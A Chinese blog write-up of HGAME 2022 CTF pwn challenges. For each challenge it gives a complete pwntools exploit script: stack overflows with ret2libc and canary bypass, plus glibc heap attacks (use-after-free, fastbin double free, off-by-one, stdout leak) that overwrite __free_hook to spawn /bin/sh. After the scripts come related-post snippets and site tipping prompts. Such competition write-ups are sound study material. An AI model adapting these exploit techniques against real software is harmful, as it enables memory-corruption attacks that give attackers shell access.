hgame 2022 PWN 部分题目 Writeup

已于 2022-02-24 16:31:52 修改
阅读量3.3k 收藏 2
点赞数 1
分类专栏： ctf 文章标签： hgame2022 hgame pwn writeup wp
于 2022-02-18 20:37:12 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/wdearzh/article/details/123010711
版权

文章目录

Level - Week1

enter_the_pwn_land

#encoding=utf-8
from pwn import *
context(os='linux',arch='amd64')
fpath='/mnt/d/ctf/ti/hgame2022/pwn/enter_the_pwn_land/to_give_out/a.out'
r = process(fpath)
#r = remote("chuj.top",31952)
elf = context.binary = ELF(fpath)
libc =ELF("/mnt/d/ctf/ti/hgame2022/pwn/enter_the_pwn_land/to_give_out/libc-2.31.so")
r.sendline("a"*0x20)
libc.address =  u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) +0x288f6-0x25000
print("libc_base:",hex(libc.address ))
poprdi=0x401312 + 1

sys_addr=libc.symbols['system']
print("sys_addr:"+hex(sys_addr))

sh_addr=next(libc.search(b"/bin/sh\0"))
print("sh_addr:"+hex(sh_addr))
payload = b'a'*0x2c+b'\x2d'+ b'\x00'*2+p64(0)+p64(poprdi+1)+p64(poprdi)+p64(sh_addr)+p64(sys_addr)

r.sendline(payload)
r.interactive()

enter_the_evil_pwn_land

#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
fpath='/mnt/d/ctf/ti/hgame2022/pwn/enter_the_evil_pwn_land/to_give_out/a.out_2.31'
#r = process(fpath)
r = remote("chuj.top",38991)
elf = context.binary = ELF(fpath)
libc =ELF("/mnt/d/ctf/ti/hgame2022/pwn/enter_the_evil_pwn_land/to_give_out/libc-2.31.so")

r.sendline("a"*0x20)
libc.address =  u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) + 0x288f6 - 0x25000
print("libc_base:",hex(libc.address ))
canary=0x9999999999999900
poprdi=0x401362 + 1

sys_addr=libc.symbols['system']
print("sys_addr:"+hex(sys_addr))
sh_addr=next(libc.search(b"/bin/sh\0"))
print("sh_addr:"+hex(sh_addr))

one = [0xe6c7e, 0xe6c81, 0xe6c84] #2.31
one_addr = one[1]+libc.address 
payload = b'a'*0x28+p64(canary)+p64(0)+p64(one_addr)
payload = payload.ljust(0x868,b'\0')
payload +=p64(canary)
time.sleep(1)
r.sendline(payload)
r.interactive()

test_your_nc

nc chuj.top 50026
cat flag

test_your_gdb

#encoding=utf-8
from pwn import *
fpath='/mnt/d/ctf/ti/hgame2022/pwn/test_your_gdb/to_give_out/a.out'
r = process(fpath)
#r = remote("chuj.top",50610)
elf = context.binary = ELF(fpath)
payload=p64(0xb0361e0e8294f147)+p64(0x8c09e0c34ed8a6a9)
r.sendafter('enter your pass word', payload)
r.recvline()
r.recv(16)
a=u64(r.recv(8))
canary=u64(r.recv(8))
print("canary",hex(canary))
backdoor = 0x401256
payload=b'a'*24 + p64(canary)+p64(0)+p64(backdoor)
r.sendline(payload)
r.interactive()

Level - Week2

oldfashion_note

#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
context.log_level = 'debug'
#r = remote('chuj.top',51336)
fpath='/mnt/d/ctf/ti/hgame2022/pwn/oldfashion_note/to_give_out/note'
r = process(fpath)
elf = context.binary = ELF(fpath)
libc =ELF("/mnt/d/ctf/ti/hgame2022/pwn/oldfashion_note/to_give_out/libc-2.31.so")
import hashlib,string,itertools
def crack_hash(hashcall, res, length, tailer):
    dateset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "+-*/"
    for item in itertools.product(dateset, repeat=length):
        tmp = ("".join(item) + tailer).encode()
        htmp = hashcall(tmp).hexdigest()
        if htmp == res:
            print(tmp.decode())
            return  tmp.decode()
def Proof_Of_Work():
    r.recvuntil("=== Proof Of Work ===\n")
    ti = r.recvline()[:-1]
    rsha256 = ti.split(b" == ")[1].decode()
    header=crack_hash(hashlib.sha256, rsha256, 4, '')
    r.sendline(header)

#Proof_Of_Work()

def _add(idx, lenn, ddd):
    r.sendlineafter(">> ",'1')
    r.sendlineafter("index?",str(idx))
    r.sendlineafter(">>",str(lenn))
    r.sendlineafter(">>",ddd)
def _edit(idx, ddd):
    r.sendlineafter(">> ",'2')
    r.sendlineafter("Input the index:\n",str(idx))
    #r.sendlineafter(":\n",str(lenn))
    r.sendlineafter(":\n",ddd)
def _remove(idx):
    r.sendlineafter(">> ",'3')
    r.sendlineafter(">>",str(idx))

def _view(idx):
    r.sendlineafter(">> ",'2')
    r.sendlineafter(">>",str(idx))

_add(0,0x90,"0") #0x100
_add(1,0x90,"1")#0x100

for i in range(7):
    _add(7+i,0x90,"3")#0x100
for i in range(7):
    _remove(7+i)#0x100 

_remove(0)
_view(0)

main_arna_96 = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print('main_arna_96:',hex(main_arna_96))

malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']

malloc_hook_addr = (main_arna_96 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)  
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print('libc_base:',hex(libc_base))
print('free_hook_addr:',hex(free_hook_addr))
print('system_addr:',hex(system_addr))
_add(2,0x60,"1")
_add(3,0x60,"1")
_add(4,0x60,"1")

for i in range(7):
    _add(7+i,0x60,"3")#0x100
for i in range(7):
    _remove(7+i)#0x100 
_remove(2)
_remove(3)
_remove(2)
for i in range(7):
    _add(7+i,0x60,"3")#0x100

_add(3,0x60,p64(free_hook_addr))###uaf利用
_add(4,0x60,'/bin/sh\0')
_add(5,0x60,'11')
_add(6,0x60,p64(system_addr))

_remove(4)
r.interactive()

Level - Week3

changeable_note

1、利用堆溢出 构造unsorted bin 和 fast bin 重叠
2、io_file_leak泄露libc
3、堆溢出构造free hook

#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
fpath='/mnt/d/ctf/ti/hgame2022/pwn/changeable_note/note'
elf = context.binary = ELF(fpath)
libc =ELF("/mnt/d/ctf/ti/hgame2022/pwn/changeable_note/libc-2.23.so")

import hashlib,string,itertools
def crack_hash(hashcall, res, length, tailer):
    dateset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "+-*/"
    for item in itertools.product(dateset, repeat=length):
        tmp = ("".join(item) + tailer).encode()
        htmp = hashcall(tmp).hexdigest()
        if htmp == res:
            print(tmp.decode())
            return  tmp.decode()
def Proof_Of_Work():
    r.recvuntil("=== Proof Of Work ===\n")
    ti = r.recvline()[:-1]
    rsha256 = ti.split(b" == ")[1].decode()
    header=crack_hash(hashlib.sha256, rsha256, 4, '')
    r.sendline(header)

def _add(idx, lenn, ddd):
    r.sendlineafter(">> ",'1')
    r.sendlineafter("index?\n>> ",str(idx))
    r.sendlineafter(">> ",str(lenn))
    r.sendafter(">> ",ddd)
def _edit(idx, ddd):
    r.sendlineafter(">> ",'2')
    r.sendlineafter("index?\n>> ",str(idx))
    time.sleep(0.1)
    r.sendline(ddd)
def _remove(idx):
    r.sendlineafter(">> ",'3')
    r.sendlineafter("index?\n>> ",str(idx))

def _view(idx):
    r.sendlineafter(">> ",'2')
    r.sendlineafter("index?\n>> ",str(idx))
def pwn():
    #因为edit使用的gets 会产生00结尾 无法使用edit修改 stdout 地址
    _add(0,0x60,b"0") #0x70
    _add(1,0x8,b"1") #0x20 防止后面重新申请时 不申请 释放的2  不与2相同。
    _add(2,0x8,b"2") #0x20
    _add(3,0x60,b"3"*0x28+p64(0x41)) #0x70  0x30+0x40   ###ffffffake
    _add(4,0x60,b"4") #0x70
    _add(5,0x60,b"5") #0x70
     
    _remove(3)
    _edit(1, b'0'*0x18+p64(0x51))
    _remove(2)
    
    _edit(0, b'\0'*0x68+p64(0x20+0x20+0x70+0x71))
    _remove(1)
    _add(1,0x30,b"1") #0x70
    
    _add(2,0x40,b'0'*0x18+p64(0x71)+b'\xdd\x85') #0x70
    
    _add(3,0x60,b"1") #0x70
    payload = b'\0'*0x33 + p64(0xfbad3887) + p64(0)*3 +b"\x88"	#_chain filed 
    _add(6, 0x60, payload)                       #fake chunk (stdout)
    libc.address =  u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) -libc.sym["_IO_2_1_stdin_"] 
    libc.address = abs(libc.address)
    print("libc.address:", hex(libc.address))

    _add(7, 0x100, '7')                      
    _add(8, 0x100, '8')                      
    _remove(7)
    free_hook_addr = libc.symbols['__free_hook']
    system_addr = libc.symbols['system']
    print("free_hook_addr:", hex(free_hook_addr))
    print("system_addr:", hex(system_addr))
    _edit(5,b'5'*0x68+p64(0x110)+p64(free_hook_addr-29)+p64(free_hook_addr-29)) #0x70  0.5 用于修改1大小  
    _add(7,0x100,"1") #0x70

    _remove(4)
    print('free_hook_addr:',hex(free_hook_addr))
    _edit(3, b'0'*0x68+p64(0x71)+p64(free_hook_addr-16))
    _add(8,0x60,b"/bin/sh") #0x70	
    _add(9,0x60,p64(system_addr)) #0x70
    _remove(8)
    r.interactive()
 
while True: 
	try:
		r = process(fpath)
		#r = remote("chuj.top",52595)
		#Proof_Of_Work()
		pwn() 
		break
	except:
		r.close()

elder_note

1、fastbin doublefree 构造堆重叠改写堆构造unsortedbin攻击泄露libc
2、使用unsorted bin 在__free_hook前写入7f
3、使用fastbin doublefree 构造free hook

#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
#r = remote('chuj.top',52603)
fpath='/mnt/d/ctf/ti/hgame2022/pwn/elder_note/note'
r = process(fpath)
elf = context.binary = ELF(fpath)
libc =ELF("/mnt/d/ctf/ti/hgame2022/pwn/elder_note/libc-2.23.so")

import hashlib,string,itertools
def crack_hash(hashcall, res, length, tailer):
    dateset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "+-*/"
    for item in itertools.product(dateset, repeat=length):
        tmp = ("".join(item) + tailer).encode()
        htmp = hashcall(tmp).hexdigest()
        if htmp == res:
            print(tmp.decode())
            return  tmp.decode()
def Proof_Of_Work():
    r.recvuntil("=== Proof Of Work ===\n")
    ti = r.recvline()[:-1]
    rsha256 = ti.split(b" == ")[1].decode()
    header=crack_hash(hashlib.sha256, rsha256, 4, '')
    r.sendline(header)
#Proof_Of_Work()

def _add(idx, lenn, ddd):
    r.sendlineafter(">> ",'1')
    r.sendlineafter("index?",str(idx))
    r.sendlineafter(">>",str(lenn))
    r.sendafter(">>",ddd)
def _edit(idx, ddd):
    r.sendlineafter(">> ",'2')
    r.sendlineafter("Input the index:\n",str(idx))
    #r.sendlineafter(":\n",str(lenn))
    r.sendlineafter(":\n",ddd)
def _remove(idx):
    r.sendlineafter(">> ",'3')
    r.sendlineafter(">>",str(idx))

def _view(idx):
    r.sendlineafter(">> ",'2')
    r.sendlineafter(">>",str(idx))

_add(0,0x60,b"1"*0x58+p64(0x71)) #0x70
_add(1,0x60,b"1"*0x58+p64(0x71)) #0x70
_add(2,0x50,"1") #0x60
_add(3,0x60,"1") #0x70
_remove(0)
_remove(1)
_remove(0)

_add(0,0x60,"\x60") #0x70  0 
_add(1,0x60,"0") #0x70     
_add(4,0x60,"0") #0x70 4==0

_add(5,0x60,p64(0)+p64(0xd1)) #0x70  0.5 用于修改1大小
_remove(1)
_view(1)
main_arna_96 = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print('main_arna_96:',hex(main_arna_96))

malloc_hook_s = libc.symbols['__malloc_hook']
malloc_hook_addr = (main_arna_96 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)  
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base +libc.symbols['__free_hook']
system_addr = libc_base + libc.sym['system']
print('libc_base:',hex(libc_base))
print('free_hook_addr:',hex(free_hook_addr))
print('system_addr:',hex(system_addr))

_remove(5)
_add(5,0x60,p64(0)+p64(0x71)+p64(free_hook_addr-29)+p64(free_hook_addr-29)) #0x70  0.5 用于修改1大小
_add(1,0x60,"1") #0x70

_remove(0)
_remove(1)
_remove(0)

_add(0,0x60,p64(free_hook_addr-16)) #
_add(1,0x60,"/bin/sh")#
_add(6,0x60,"4")#
_add(7,0x60,p64(system_addr))#0x100
_remove(1)

r.interactive()

sized_note

off by one

#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
#r = remote('chuj.top',52919)
fpath='/mnt/d/ctf/ti/hgame2022/pwn/sized_note/note'
r = process(fpath)
elf = context.binary = ELF(fpath)
libc =ELF("/mnt/d/ctf/ti/hgame2022/pwn/sized_note/libc.so.6")


import hashlib,string,itertools
def crack_hash(hashcall, res, length, tailer):
    dateset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "+-*/"
    for item in itertools.product(dateset, repeat=length):
        tmp = ("".join(item) + tailer).encode()
        htmp = hashcall(tmp).hexdigest()
        if htmp == res:
            print(tmp.decode())
            return  tmp.decode()
def Proof_Of_Work():
    r.recvuntil("=== Proof Of Work ===\n")
    ti = r.recvline()[:-1]
    rsha256 = ti.split(b" == ")[1].decode()
    header=crack_hash(hashlib.sha256, rsha256, 4, '')
    r.sendline(header)

#Proof_Of_Work()

def _add(idx, lenn, ddd):
    r.sendlineafter(">> ",'1')
    r.sendlineafter("index?\n>> ",str(idx))
    r.sendlineafter(">> ",str(lenn))
    r.sendafter(">> ",ddd)
def _edit(idx, ddd):
    r.sendlineafter(">> ",'4s')
    r.sendlineafter("index?\n>> ",str(idx))
    time.sleep(0.1)
    r.sendline(ddd)
def _del(idx):
    r.sendlineafter(">> ",'3')
    r.sendlineafter("index?\n>> ",str(idx))

def _view(idx):
    r.sendlineafter(">> ",'2')
    r.sendlineafter("index?\n>> ",str(idx))


_add(0, 0xf8, '0') #chunksize 0x500
_add(1, 0xf8, '1') #chunksize 0x500
_add(2, 0xf8, '2') #chunksize 0x200
_add(3, 0xf8, '3') #chunksize 0x500
_add(4, 0xf8, '4') #chunksize 0x500
_add(5, 0x20, '/bin/sh\0 3')

for i in range(7):
    _add(7+i, 0xf8, '2') #chunksize 0x500
for i in range(7):
    _del(7+i) #chunksize 0x500
_del(0)
_edit(1,b'a'*0xf0 + p64(0x200))
_del(2)
for i in range(7):
    _add(7+i, 0xf8, '2') #chunksize 0x500
_add(0, 0xf8, '0') #chunksize 0x500
_view(1)

main_arna_96 = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print('main_arna_96:',hex(main_arna_96))

malloc_hook_s = libc.symbols['__malloc_hook']
malloc_hook_addr = (main_arna_96 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)  
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base +libc.symbols['__free_hook']
system_addr = libc_base + libc.sym['system']
print('libc_base:',hex(libc_base))
print('free_hook_addr:',hex(free_hook_addr))
print('system_addr:',hex(system_addr))

_add(5, 0x20, '5') # 5 和 1 指向同一地址。
_del(5) # uaf
_edit(1, p64(free_hook_addr))
_add(6,0x20, '/bin/sh\0 #6')
_add(7,0x20, p64(system_addr))

_del(6) #3 6都行
r.interactive()
攻防世界 pwn进阶区解法 write up（一）
qq_46441427的博客
03-01 421
实时数据监测 找信息 没有发现canary，没有开启PIE和NX 查看ida 发现有一个printf，这里是fgets，可能会用到格式化字符串漏洞，运行一下程序 结合ida的分析我们可知，要把这个值改成0x2223322，那结合之前的printf，可以确定是格式化字符串漏洞 给了我们地址，那我们的payload就以地址为开头，因为是p32，所以后面35795746要减4，构成%35795742d%偏移量n$ 然后确定偏移量： 总共，从A到41包括A有12个，偏移量=12 所以得到payload
HGAME 2022 week1 个人部分WP
qazwsxeb的博客
02-10 3847
寒假期间，小萌新在家瞎搞CTF，也是第一次参加HGAME，整体来说题目是简单的，但对于我这个萌新菜鸟来说，还是一头雾水，只会做一些简单的密码题，week1的web和misc还能做出几题，后面几周就完全不会了，二进制完全看不懂。。。已经坐牢有一段时间了，想想还是不要浪费时间，记录下这次比赛，也是一种学习。 本人还是个萌新，WP可能会存在很多错误，望各位大佬勿喷，也请多多指正。 web Tetris plus 描述：据说没人能超过 3000 分。要是做题做累了，就来玩玩小游戏吧(x 这道题很明显是玩游
2022 hgame pwn wp
weixin_45209963的博客
03-27 4988
2022 hgame pwn wp 本来早就写好了，但是由于复试毕设等等原因拖到今天才发 包括了绝大部分题目，除了算法题spfa和bpwn，剩下一些简单题懒得写了orz 文章目录2022 hgame pwn wpWeek 1enter_the_pwn_landenter_the_evil_pwn_landoldfashion_orwWeek 2oldfashion_noteechoWeek 3changeable_noteelder_notesized_noteWeek 4vector Week 1 ent
PWN-COMPETITION-HGAME2022-Week1
P1umH0的博客
01-28 1400
PWN-COMPETITION-HGAME2022Week1enter_the_pwn_landenter_the_evil_pwn_landoldfashion_orw(unsolved)ser_per_fa(unsol)test_your_nctest_your_gdb Week1 enter_the_pwn_land 栈溢出，需要注意的是下标 i 的地址比输入s的地址更高 s溢出会覆盖 i ，于是需要小心地覆写 i 的值，让循环顺利执行下去 然后就是常规的ret2libc # -*- coding:
PWN-COMPETITION-HGAME2022-Week2
P1umH0的博客
02-04 1889
PWN-COMPETITION-HGAME2022-Week2blind(unsolved)echo_severoldfashion_note blind(unsolved) echo_sever 堆上的格式化字符串漏洞 当输入的v0为0时，realloc(ptr,0)相当于free(ptr) 于是考虑将free_hook写为one-gadget # -*- coding:utf-8 -*- from pwn import * context.log_level="debug" io=process(".
PWN-COMPETITION-HGAME2022-Week3
P1umH0的博客
02-13 2694
PWN-COMPETITION-HGAME2022-Week3changeable_noteelder_note changeable_note elder_note delete_note中存在UAF漏洞 首先利用unsorted bin泄露libc 然后通过double free覆盖__realloc_hook为one-gadget，__malloc_hook为realloc真实地址(调整栈帧) # -*- coding:utf-8 -*- from pwn import * from pwnlib.u
hgame2022re week1
m0_58348028的博客
02-04 1061
easyasm 16位的汇编， 附件在这里：链接：https://pan.baidu.com/s/12Sk92AvtXV0rzaRmiBoKFA 提取码：h0r1 ida pro打开 通过分析这张图，我们可以知道在1处进行对比后若正确则走3处直接输出，若没有比对成功就走2处，由此循环直到si==1Ch，所以我们只需要分析2处是怎么处理的 seg003:0000 public start seg003:0000 start ..
HGAME2022 Web wp
m0_67390969的博客
03-03 6557
文章目录 Week1 蛛蛛…嘿嘿?我的蛛蛛 Tetris plus Fujiwara Tofu Shop easy_auth Week2 webpack-engine Pokemon At0m的留言板 Week3 SecurityCenter Vidar shop demo Week1 蛛蛛…嘿嘿我的蛛蛛 页面内有很多点我试试的按钮，只有一个是真的，能前往下一关，写个脚本跑一下 import requests from lxml import etree static_
HGAME 2017 or 2018 PWN levels
qq_42192672的博客
11-12 952
这个算是做之前的复现吧，感谢Veritas501 WEEK1 1.flag server 拖进IDA看一下 流程倒着看，要有flag-----v8=1-----v5=v6-----s1=admin，我们可以把s1覆盖掉-----username长度不能大于63，不能等于0-----之后还要猜出随机数v6，看一下怎么覆盖 这些变量都在一起，美滋滋 exp from pwn...
Hgame 2021 week1 pwn刷题
qq_45595732的博客
02-06 1463
whitegive 签到 from pwn import* context.log_level = 'debug' p = remote('182.92.108.71',30210) p.sendlineafter(':',str(0x402012)) p.interactive() letter 开了沙箱，NX未开 orw思路，shellocde from pwn import* context.log_level = 'debug' libc = ELF('/lib/x86_64-linux-gnu/
CTF-PWN-babysc(Hgame)
SuperGate的博客
02-04 810
直接运行该程序，发现没有任何提示信息，随便输入一串字符之后，程序错误退出。 扔进ida查看: 程序用read函数读入buf，然后判断[rbp+var_4]和0x4f的大小关系。这里可以知道[rbp+var_4]应为循环变量，buf长度为80 然后对于buf[i] ，异或buf[i]^(i+1)，最后将buf蕴含的指令赋值给rdx并执行。 我们可以考虑直接构造system(/bin/sh...
hgame week1 2021 pwn
清霂的博客
04-23 344
目录onceletter once 写这个题的时候发现了一个工具，可以修改题目加载的libc.so和ld.so文件 patchelf 注释掉的是本地环境下的情况 #!/usr/bin/env python2 #env1=ubuntu 16.04 native #env2=ld-2.27.so libc.2.27 from pwn import * arch = "amd64" filename = "once" context(os="linux", arch=arch, log_level="d
hgame2021 week2 pwn刷题
qq_45595732的博客
02-14 442
rop_primary 矩阵相乘，算法分析用过numpy就直接调用numpy现有的库了，常规栈溢出，但是不知道为什么system的系统调用貌似被禁用了，所以用了orw，没拿shell from pwn import* import numpy as np from LibcSearcher import* context.log_level = 'debug' def pr(a,addr): log.success(a+'====>'+hex(addr)) elf = ELF('./rop_prim
HgameCTF(week1)-RE,PWN题解析
蚁景网安学院
02-06 429
##RE###maze这个题目从题目名上可以知道是一个迷宫题目，迷宫题目主要把握住迷宫地图，方向键还有起点终点就好。ida打开while ( (signed int)v4 < SH...
Pwnhub-粗心的佳佳-writeup
dengzhasong7076的博客
07-18 871
前言 伏地膜，已经撸了三天两夜，玩ctf思路就僵化，导致有些点不存在漏洞也花了点时间. 总结两点： 1、Oracle padding attack得到明文后，还可以再构造任意长度的自己想要的内容。一般脚本是直接去爆破iv，但是此题存在中间值第一位无法得出，这时候可以通过已知明文去爆破得到中间值。 2、drupal 8 后台 getshell，网上搜索大部分讲的是drupal 7.x 利用...
Pwnhub-深入敌后-Writeup
dengzhasong7076的博客
01-17 395
死磕了两天，踩了一路坑，最后还卡在莫名其妙的地方...按照大v师傅的本来出题意图来详细写一发。 膜蓝猫和大v师傅。 题目描述 详情 http://54.223.229.139/ 禁止转发入口ip机器的rdp服务端口，禁止修改任何服务器密码，禁止修改删除服务器文件。 禁止对内网进行拓扑发现扫描，必要信息全部可以在服务器中获得。 文明比赛，和谐共处。 更新 - 2017.01.15 1...
pwnhub——胖哈勃外传-第一集 writeup
Bendawang's Blog
12-15 3791
pwnhub writeup
【pwn】[HGAME 2022 week1]enter the pwn land --数组下标修改，栈溢出
最新发布
question55的博客
11-30 70
查保护然后ida看代码逻辑来到关键函数，这里存在栈溢出漏洞，但是这是数组循环一个字节读入，我们看一下i的地址发现i的地址在rbp上面，所以我们构造payload肯定会把i的值给覆盖了，所以payload在构造时需要修改一下i的值，让我们的payload继续读入到正确位置，然后就是简单的ret2libcexp：from pwn import *from LibcSearcher import *context(os='linux',arch='amd64',log_level='debug')io=remot
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

丶拾光_w4ngz

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值